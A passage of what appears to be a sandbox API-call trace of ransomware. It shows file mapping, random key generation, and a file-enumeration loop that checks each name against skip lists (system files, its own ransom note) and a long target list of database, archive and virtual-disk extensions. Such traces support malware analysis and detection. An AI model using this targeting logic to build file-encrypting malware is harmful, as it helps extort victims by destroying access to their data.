dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0109.707] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2103296) returned 1 [0109.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0109.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0109.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0109.707] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0109.708] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0109.708] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0109.708] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x201b00, lpName=0x0) returned 0x17c [0109.710] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x1b00) returned 0x100000 [0109.711] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0109.823] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0109.824] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0109.824] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0109.824] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0109.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0109.824] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0109.824] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0109.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0109.824] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0109.824] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0109.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0109.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0109.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0109.825] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0109.825] CloseHandle (hObject=0x17c) returned 1 [0109.825] CloseHandle (hObject=0x154) returned 1 [0109.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0109.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0109.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0109.838] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eab8150, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5eab8150, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe4490e80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="InkWatson.exe", cAlternateFileName="")) returned 1 [0109.838] lstrcmpiW (lpString1="InkWatson.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0109.838] lstrcmpiW (lpString1="InkWatson.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0109.838] lstrcmpiW (lpString1="InkWatson.exe", lpString2=".") returned 1 [0109.838] lstrcmpiW (lpString1="InkWatson.exe", lpString2="..") returned 1 [0109.838] lstrcmpiW (lpString1="InkWatson.exe", lpString2="windows") returned -1 [0109.838] lstrcmpiW (lpString1="InkWatson.exe", lpString2="bootmgr") returned 1 [0109.838] lstrcmpiW (lpString1="InkWatson.exe", lpString2="temp") returned -1 [0109.838] lstrcmpiW (lpString1="InkWatson.exe", lpString2="pagefile.sys") returned -1 [0109.839] lstrcmpiW (lpString1="InkWatson.exe", lpString2="boot") returned 1 [0109.839] lstrcmpiW (lpString1="InkWatson.exe", lpString2="ids.txt") returned 1 [0109.839] lstrcmpiW (lpString1="InkWatson.exe", lpString2="ntuser.dat") returned -1 [0109.839] lstrcmpiW (lpString1="InkWatson.exe", lpString2="perflogs") returned -1 [0109.839] lstrcmpiW (lpString1="InkWatson.exe", lpString2="MSBuild") returned -1 [0109.839] lstrlenW (lpString="InkWatson.exe") returned 13 [0109.839] lstrcpyW (in: lpString1=0x241e8ae, lpString2="InkWatson.exe" | out: lpString1="InkWatson.exe") returned="InkWatson.exe" [0109.839] lstrlenW (lpString="InkWatson.exe") returned 13 [0109.839] lstrlenW (lpString="Athena865") returned 9 [0109.839] lstrcmpiW (lpString1="atson.exe", lpString2="Athena865") returned 1 [0109.839] lstrlenW (lpString=".dll") returned 4 [0109.839] lstrcmpiW (lpString1="InkWatson.exe", lpString2=".dll") returned 1 [0109.839] lstrlenW (lpString=".lnk") returned 4 [0109.839] lstrcmpiW (lpString1="InkWatson.exe", lpString2=".lnk") returned 1 [0109.839] lstrlenW (lpString=".ini") returned 4 [0109.839] lstrcmpiW (lpString1="InkWatson.exe", lpString2=".ini") returned 1 [0109.839] lstrlenW (lpString=".sys") returned 4 [0109.839] lstrcmpiW (lpString1="InkWatson.exe", lpString2=".sys") returned 1 [0109.839] lstrlenW (lpString="InkWatson.exe") returned 13 [0109.839] lstrlenW (lpString="bak") returned 3 [0109.839] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0109.839] lstrlenW (lpString="ba_") returned 3 [0109.839] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0109.839] lstrlenW (lpString="dbb") returned 3 [0109.839] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0109.839] lstrlenW (lpString="vmdk") returned 4 [0109.839] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0109.839] lstrlenW (lpString="rar") returned 3 [0109.840] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0109.840] lstrlenW (lpString="zip") returned 3 [0109.840] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0109.840] lstrlenW (lpString="tgz") returned 3 [0109.840] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0109.840] lstrlenW (lpString="vbox") returned 4 [0109.840] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0109.840] lstrlenW (lpString="vdi") returned 3 [0109.840] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0109.840] lstrlenW (lpString="vhd") returned 3 [0109.840] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0109.840] lstrlenW (lpString="vhdx") returned 4 [0109.840] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0109.840] lstrlenW (lpString="avhd") returned 4 [0109.840] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0109.840] lstrlenW (lpString="db") returned 2 [0109.840] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0109.840] lstrlenW (lpString="db2") returned 3 [0109.840] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0109.840] lstrlenW (lpString="db3") returned 3 [0109.840] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0109.840] lstrlenW (lpString="dbf") returned 3 [0109.840] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0109.840] lstrlenW (lpString="mdf") returned 3 [0109.840] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0109.840] lstrlenW (lpString="mdb") returned 3 [0109.840] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0109.840] lstrlenW (lpString="sql") returned 3 [0109.840] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0109.841] lstrlenW (lpString="sqlite") returned 6 [0109.841] lstrcmpiW (lpString1="on.exe", lpString2="sqlite") returned -1 [0109.841] lstrlenW (lpString="sqlite3") returned 7 [0109.841] lstrcmpiW (lpString1="son.exe", lpString2="sqlite3") returned -1 [0109.841] lstrlenW (lpString="sqlitedb") returned 8 [0109.841] lstrcmpiW (lpString1="tson.exe", lpString2="sqlitedb") returned 1 [0109.841] lstrlenW (lpString="xml") returned 3 [0109.841] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0109.841] lstrlenW (lpString="$er") returned 3 [0109.841] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0109.841] lstrlenW (lpString="4dd") returned 3 [0109.841] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0109.841] lstrlenW (lpString="4dl") returned 3 [0109.841] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0109.841] lstrlenW (lpString="^^^") returned 3 [0109.841] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0109.841] lstrlenW (lpString="abs") returned 3 [0109.841] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0109.841] lstrlenW (lpString="abx") returned 3 [0109.841] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0109.841] lstrlenW (lpString="accdb") returned 5 [0109.841] lstrcmpiW (lpString1="n.exe", lpString2="accdb") returned 1 [0109.841] lstrlenW (lpString="accdc") returned 5 [0109.841] lstrcmpiW (lpString1="n.exe", lpString2="accdc") returned 1 [0109.841] lstrlenW (lpString="accde") returned 5 [0109.842] lstrcmpiW (lpString1="n.exe", lpString2="accde") returned 1 [0109.842] lstrlenW (lpString="accdr") returned 5 [0109.842] lstrcmpiW (lpString1="n.exe", lpString2="accdr") returned 1 [0109.842] lstrlenW (lpString="accdt") returned 5 [0109.842] lstrcmpiW (lpString1="n.exe", lpString2="accdt") returned 1 [0109.842] lstrlenW (lpString="accdw") returned 5 [0109.842] lstrcmpiW (lpString1="n.exe", lpString2="accdw") returned 1 [0109.842] lstrlenW (lpString="accft") returned 5 [0109.842] lstrcmpiW (lpString1="n.exe", lpString2="accft") returned 1 [0109.842] lstrlenW (lpString="adb") returned 3 [0109.842] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0109.842] lstrlenW (lpString="adb") returned 3 [0109.842] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0109.842] lstrlenW (lpString="ade") returned 3 [0109.842] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0109.842] lstrlenW (lpString="adf") returned 3 [0109.842] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0109.842] lstrlenW (lpString="adn") returned 3 [0109.842] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0109.842] lstrlenW (lpString="adp") returned 3 [0109.842] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0109.842] lstrlenW (lpString="alf") returned 3 [0109.842] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0109.842] lstrlenW (lpString="ask") returned 3 [0109.842] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0109.842] lstrlenW (lpString="btr") returned 3 [0109.842] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0109.842] lstrlenW (lpString="cat") returned 3 [0109.843] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0109.843] lstrlenW (lpString="cdb") returned 3 [0109.843] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0109.843] lstrlenW (lpString="ckp") returned 3 [0109.843] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0109.843] lstrlenW (lpString="cma") returned 3 [0109.843] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0109.843] lstrlenW (lpString="cpd") returned 3 [0109.843] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0109.843] lstrlenW (lpString="dacpac") returned 6 [0109.843] lstrcmpiW (lpString1="on.exe", lpString2="dacpac") returned 1 [0109.843] lstrlenW (lpString="dad") returned 3 [0109.843] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0109.843] lstrlenW (lpString="dadiagrams") returned 10 [0109.843] lstrcmpiW (lpString1="Watson.exe", lpString2="dadiagrams") returned 1 [0109.843] lstrlenW (lpString="daschema") returned 8 [0109.843] lstrcmpiW (lpString1="tson.exe", lpString2="daschema") returned 1 [0109.843] lstrlenW (lpString="db-journal") returned 10 [0109.843] lstrcmpiW (lpString1="Watson.exe", lpString2="db-journal") returned 1 [0109.843] lstrlenW (lpString="db-shm") returned 6 [0109.843] lstrcmpiW (lpString1="on.exe", lpString2="db-shm") returned 1 [0109.843] lstrlenW (lpString="db-wal") returned 6 [0109.843] lstrcmpiW (lpString1="on.exe", lpString2="db-wal") returned 1 [0109.843] lstrlenW (lpString="dbc") returned 3 [0109.843] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0109.843] lstrlenW (lpString="dbs") returned 3 [0109.843] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0109.843] lstrlenW (lpString="dbt") returned 3 [0109.843] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0109.844] lstrlenW (lpString="dbv") returned 3 [0109.844] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0109.844] lstrlenW (lpString="dbx") returned 3 [0109.844] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0109.844] lstrlenW (lpString="dcb") returned 3 [0109.844] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0109.844] lstrlenW (lpString="dct") returned 3 [0109.844] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0109.844] lstrlenW (lpString="dcx") returned 3 [0109.844] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0109.844] lstrlenW (lpString="ddl") returned 3 [0109.844] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0109.844] lstrlenW (lpString="dlis") returned 4 [0109.844] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0109.844] lstrlenW (lpString="dp1") returned 3 [0109.844] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0109.844] lstrlenW (lpString="dqy") returned 3 [0109.844] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0109.844] lstrlenW (lpString="dsk") returned 3 [0109.844] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0109.844] lstrlenW (lpString="dsn") returned 3 [0109.844] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0109.844] lstrlenW (lpString="dtsx") returned 4 [0109.844] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0109.844] lstrlenW (lpString="dxl") returned 3 [0109.844] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0109.844] lstrlenW (lpString="eco") returned 3 [0109.844] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0109.844] lstrlenW (lpString="ecx") returned 3 [0109.845] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0109.845] lstrlenW (lpString="edb") returned 3 [0109.845] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0109.845] lstrlenW (lpString="epim") returned 4 [0109.845] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0109.845] lstrlenW (lpString="fcd") returned 3 [0109.845] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0109.845] lstrlenW (lpString="fdb") returned 3 [0109.845] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0109.845] lstrlenW (lpString="fic") returned 3 [0109.845] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0109.845] lstrlenW (lpString="flexolibrary") returned 12 [0109.845] lstrcmpiW (lpString1="nkWatson.exe", lpString2="flexolibrary") returned 1 [0109.845] lstrlenW (lpString="fm5") returned 3 [0109.845] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0109.845] lstrlenW (lpString="fmp") returned 3 [0109.845] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0109.845] lstrlenW (lpString="fmp12") returned 5 [0109.845] lstrcmpiW (lpString1="n.exe", lpString2="fmp12") returned 1 [0109.845] lstrlenW (lpString="fmpsl") returned 5 [0109.845] lstrcmpiW (lpString1="n.exe", lpString2="fmpsl") returned 1 [0109.845] lstrlenW (lpString="fol") returned 3 [0109.845] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0109.845] lstrlenW (lpString="fp3") returned 3 [0109.845] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0109.845] lstrlenW (lpString="fp4") returned 3 [0109.845] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0109.845] lstrlenW (lpString="fp5") returned 3 [0109.846] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0109.846] lstrlenW (lpString="fp7") returned 3 [0109.846] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0109.846] lstrlenW (lpString="fpt") returned 3 [0109.846] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0109.846] lstrlenW (lpString="frm") returned 3 [0109.846] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0109.846] lstrlenW (lpString="gdb") returned 3 [0109.846] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0109.846] lstrlenW (lpString="gdb") returned 3 [0109.846] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0109.846] lstrlenW (lpString="grdb") returned 4 [0109.846] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0109.846] lstrlenW (lpString="gwi") returned 3 [0109.846] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0109.846] lstrlenW (lpString="hdb") returned 3 [0109.846] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0109.846] lstrlenW (lpString="his") returned 3 [0109.846] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0109.846] lstrlenW (lpString="ib") returned 2 [0109.846] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0109.846] lstrlenW (lpString="idb") returned 3 [0109.846] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0109.846] lstrlenW (lpString="ihx") returned 3 [0109.846] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0109.846] lstrlenW (lpString="itdb") returned 4 [0109.846] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0109.846] lstrlenW (lpString="itw") returned 3 [0109.846] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0109.847] lstrlenW (lpString="jet") returned 3 [0109.847] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0109.847] lstrlenW (lpString="jtx") returned 3 [0109.847] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0109.847] lstrlenW (lpString="kdb") returned 3 [0109.847] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0109.847] lstrlenW (lpString="kexi") returned 4 [0109.847] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0109.847] lstrlenW (lpString="kexic") returned 5 [0109.847] lstrcmpiW (lpString1="n.exe", lpString2="kexic") returned 1 [0109.847] lstrlenW (lpString="kexis") returned 5 [0109.847] lstrcmpiW (lpString1="n.exe", lpString2="kexis") returned 1 [0109.847] lstrlenW (lpString="lgc") returned 3 [0109.847] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0109.847] lstrlenW (lpString="lwx") returned 3 [0109.847] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0109.847] lstrlenW (lpString="maf") returned 3 [0109.847] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0109.847] lstrlenW (lpString="maq") returned 3 [0109.847] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0109.847] lstrlenW (lpString="mar") returned 3 [0109.847] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0109.847] lstrlenW (lpString="marshal") returned 7 [0109.847] lstrcmpiW (lpString1="son.exe", lpString2="marshal") returned 1 [0109.847] lstrlenW (lpString="mas") returned 3 [0109.847] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0109.847] lstrlenW (lpString="mav") returned 3 [0109.847] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0109.847] lstrlenW (lpString="maw") returned 3 [0109.848] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0109.848] lstrlenW (lpString="mdbhtml") returned 7 [0109.848] lstrcmpiW (lpString1="son.exe", lpString2="mdbhtml") returned 1 [0109.848] lstrlenW (lpString="mdn") returned 3 [0109.848] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0109.848] lstrlenW (lpString="mdt") returned 3 [0109.848] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0109.848] lstrlenW (lpString="mfd") returned 3 [0109.848] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0109.848] lstrlenW (lpString="mpd") returned 3 [0109.848] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0109.848] lstrlenW (lpString="mrg") returned 3 [0109.848] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0109.848] lstrlenW (lpString="mud") returned 3 [0109.848] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0109.848] lstrlenW (lpString="mwb") returned 3 [0109.848] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0109.848] lstrlenW (lpString="myd") returned 3 [0109.848] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0109.848] lstrlenW (lpString="ndf") returned 3 [0109.848] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0109.848] lstrlenW (lpString="nnt") returned 3 [0109.848] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0109.848] lstrlenW (lpString="nrmlib") returned 6 [0109.848] lstrcmpiW (lpString1="on.exe", lpString2="nrmlib") returned 1 [0109.848] lstrlenW (lpString="ns2") returned 3 [0109.848] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0109.849] lstrlenW (lpString="ns3") returned 3 [0109.849] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0109.849] lstrlenW (lpString="ns4") returned 3 [0109.849] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0109.849] lstrlenW (lpString="nsf") returned 3 [0109.849] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0109.849] lstrlenW (lpString="nv") returned 2 [0109.849] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0109.849] lstrlenW (lpString="nv2") returned 3 [0109.849] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0109.849] lstrlenW (lpString="nwdb") returned 4 [0109.849] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0109.849] lstrlenW (lpString="nyf") returned 3 [0109.849] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0109.849] lstrlenW (lpString="odb") returned 3 [0109.849] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0109.849] lstrlenW (lpString="odb") returned 3 [0109.849] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0109.849] lstrlenW (lpString="oqy") returned 3 [0109.849] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0109.849] lstrlenW (lpString="ora") returned 3 [0109.849] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0109.849] lstrlenW (lpString="orx") returned 3 [0109.849] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0109.849] lstrlenW (lpString="owc") returned 3 [0109.849] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0109.849] lstrlenW (lpString="p96") returned 3 [0109.849] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0109.849] lstrlenW (lpString="p97") returned 3 [0109.850] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0109.850] lstrlenW (lpString="pan") returned 3 [0109.850] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0109.850] lstrlenW (lpString="pdb") returned 3 [0109.850] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0109.850] lstrlenW (lpString="pdm") returned 3 [0109.850] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0109.850] lstrlenW (lpString="pnz") returned 3 [0109.850] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0109.850] lstrlenW (lpString="qry") returned 3 [0109.850] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0109.850] lstrlenW (lpString="qvd") returned 3 [0109.850] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0109.850] lstrlenW (lpString="rbf") returned 3 [0109.850] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0109.850] lstrlenW (lpString="rctd") returned 4 [0109.850] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0109.850] lstrlenW (lpString="rod") returned 3 [0109.850] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0109.850] lstrlenW (lpString="rodx") returned 4 [0109.850] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0109.850] lstrlenW (lpString="rpd") returned 3 [0109.850] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0109.850] lstrlenW (lpString="rsd") returned 3 [0109.850] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0109.850] lstrlenW (lpString="sas7bdat") returned 8 [0109.850] lstrcmpiW (lpString1="tson.exe", lpString2="sas7bdat") returned 1 [0109.850] lstrlenW (lpString="sbf") returned 3 [0109.851] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0109.851] lstrlenW (lpString="scx") returned 3 [0109.851] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0109.851] lstrlenW (lpString="sdb") returned 3 [0109.851] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0109.851] lstrlenW (lpString="sdc") returned 3 [0109.851] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0109.851] lstrlenW (lpString="sdf") returned 3 [0109.851] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0109.851] lstrlenW (lpString="sis") returned 3 [0109.851] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0109.851] lstrlenW (lpString="spq") returned 3 [0109.851] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0109.851] lstrlenW (lpString="te") returned 2 [0109.851] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0109.851] lstrlenW (lpString="teacher") returned 7 [0109.851] lstrcmpiW (lpString1="son.exe", lpString2="teacher") returned -1 [0109.851] lstrlenW (lpString="tmd") returned 3 [0109.851] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0109.851] lstrlenW (lpString="tps") returned 3 [0109.851] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0109.851] lstrlenW (lpString="trc") returned 3 [0109.851] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0109.851] lstrlenW (lpString="trc") returned 3 [0109.851] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0109.851] lstrlenW (lpString="trm") returned 3 [0109.851] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0109.851] lstrlenW (lpString="udb") returned 3 [0109.852] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0109.852] lstrlenW (lpString="udl") returned 3 [0109.852] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0109.852] lstrlenW (lpString="usr") returned 3 [0109.852] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0109.852] lstrlenW (lpString="v12") returned 3 [0109.852] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0109.852] lstrlenW (lpString="vis") returned 3 [0109.852] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0109.852] lstrlenW (lpString="vpd") returned 3 [0109.852] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0109.852] lstrlenW (lpString="vvv") returned 3 [0109.852] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0109.852] lstrlenW (lpString="wdb") returned 3 [0109.852] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0109.852] lstrlenW (lpString="wmdb") returned 4 [0109.852] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0109.852] lstrlenW (lpString="wrk") returned 3 [0109.852] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0109.852] lstrlenW (lpString="xdb") returned 3 [0109.852] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0109.852] lstrlenW (lpString="xld") returned 3 [0109.852] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0109.852] 